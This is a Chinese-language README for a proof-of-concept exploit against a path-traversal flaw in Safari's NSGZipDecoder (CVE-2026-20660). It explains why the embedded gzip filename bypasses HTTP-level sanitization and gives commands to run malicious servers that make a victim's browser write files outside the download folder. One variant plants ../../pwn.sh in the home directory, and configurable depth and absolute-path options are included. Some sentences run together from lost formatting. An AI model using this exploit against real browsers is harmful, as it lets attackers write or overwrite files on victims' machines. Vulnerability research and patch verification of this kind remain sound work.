本文件夹打包了一个独立的 PoC(概念验证),针对:
NSGZipDecoder 路径遍历server.py:主 PoC 服务器,支持可配置的遍历深度和目标文件名server_overwrite.py:专门写入 ../../pwn.sh 的变体README.md:复现说明和操作日志补丁差异显示 -[NSGZipDecoder filenameWithOriginalFilename:] 的行为发生了变化:
lastPathComponent。这会阻止 FNAME 中包含 ../ 等目录组件以及绝对路径。
HTTP 文件名可以是干净的,但利用仍然可以成功。
Content-Disposition 文件名:干净(例如:report.gz)../../proof.txt)Safari 端的清理主要应用于 HTTP 层名称,而不是易受攻击流程中由 NSGZipDecoder 消费的内嵌 gzip FNAME。
在仓库根目录下执行:
python3 exploit/cve-2026-20660/server.py --port 8888 --depth 2
在存在漏洞的 Safari 中打开:
http://<server-ip>:8888/
点击 Trigger depth=2。
触发后,在目标机器上验证写入结果:
ls -la ~/cve-2026-20660-proof.txt
cat ~/cve-2026-20660-proof.txt
对于覆盖变体:
python3 exploit/cve-2026-20660/server_overwrite.py --port 9999
然后打开:
http://<server-ip>:9999/
检查:
ls -la ~/pwn.sh
cat ~/pwn.sh
server.py)--bind、-b:绑定地址(默认 0.0.0.0)--port、-p:监听端口(默认 8888)--depth、-d:遍历深度(../ 重复次数,默认 2)--name、-n:目标输出文件名示例:
# 当 depth 与运行时目录嵌套层级匹配时,写入 ~/proof.txt
python3 exploit/cve-2026-20660/server.py -p 8888 -d 2 -n proof.txt
# 显式绝对路径测试(如果解析器允许)
python3 exploit/cve-2026-20660/server.py -p 8888
# 然后使用:/download?depth=0&fname=/tmp/proof.txt
~/Downloads 下的临时目录中,因此深度通常需要 >= 2 才能逃逸到 ~/。2、3、4)并重新测试。仅在授权的测试环境中使用。
更详细的解释请参见: